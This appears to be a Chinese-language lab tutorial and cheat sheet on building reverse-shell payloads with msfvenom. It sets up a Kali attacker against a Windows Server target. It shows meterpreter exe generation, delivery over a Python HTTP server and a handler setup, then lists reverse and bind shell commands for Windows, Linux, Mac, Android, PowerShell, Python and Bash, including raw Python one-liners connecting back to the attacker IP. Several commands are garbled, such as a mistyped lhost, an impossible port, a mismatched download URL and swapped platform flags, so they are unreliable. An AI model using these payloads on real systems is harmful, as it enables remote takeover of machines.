攻击主机: Kali 192.168.11.106
靶机:windows server 2008 r2 192.168.11.134 x64 32位
1、查看命令
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 'x0f'、'x00';
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats # 列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
2、使用命令: m sfvenom -l payload | grep windows | grep meterpreter | grep reverse_tcp 筛选windows后渗透模块的payload:
3、选择 windows/meterpreter/reverse_tcp模块,使用命令: msfvenom -p windows/meterpreter/reverse_tcp lost=192.168.11.106 lport=4445 -f exe -o /home/name.exe指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成name.exe文件
4、通过http协议发送exe文件,用python打开一个http服务器:
cd /home
python -m http.server 80008
5、靶机134上,web访问 http://192.168.11.106:14472,下载name.exe文件
6、使用命令 use exploit/multi/handler 配置监听模块:
set payload windows/meterpreter/reverse_tcp # 此处的payload一定要和上方生成的payload的是同一个模块
set lhost 192.168.11.106 # 设置监听的ip
set lport 4445 # 设置监听端口
run
靶机上执行exe程序后才会进入meterpreter会话:
各平台payload生成:
windows:windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f exe > shell.exe
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
Android:
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 R > test.apk
Powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Netcat:
nc正向连接:msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.11.106 LPORT=3333 -f exe> 1.exe
nc反向连接、监听:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f exe> 1.exe
shellcode:
基于Linux的Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Windows -f c
基于windows的Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform Linux -f c
基于Mac的Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.11.106 LPORT=3333 -a x86 --platform osx -f c
Python反弹shell:
msfvenom -p cmd/unix/reverse_python LHOST=192.168.11.106 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=192.168.11.106 LPORT=3333 -f raw > shell.py
Python正向shell:
python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.106",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
python/python3 -c "exec("import socket, subprocess;s = socket.socket();s.connect(("192.168.11.106",3333))nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.11.106 LPORT=3333 -f raw > shell.sh
参考:
6-1 Binary Payload 二进制载荷_ev_哔哩哔哩_bilibili
远控免杀专题文章(2)-msfvenom隐藏的参数 - SecPulse.COM | 安全脉搏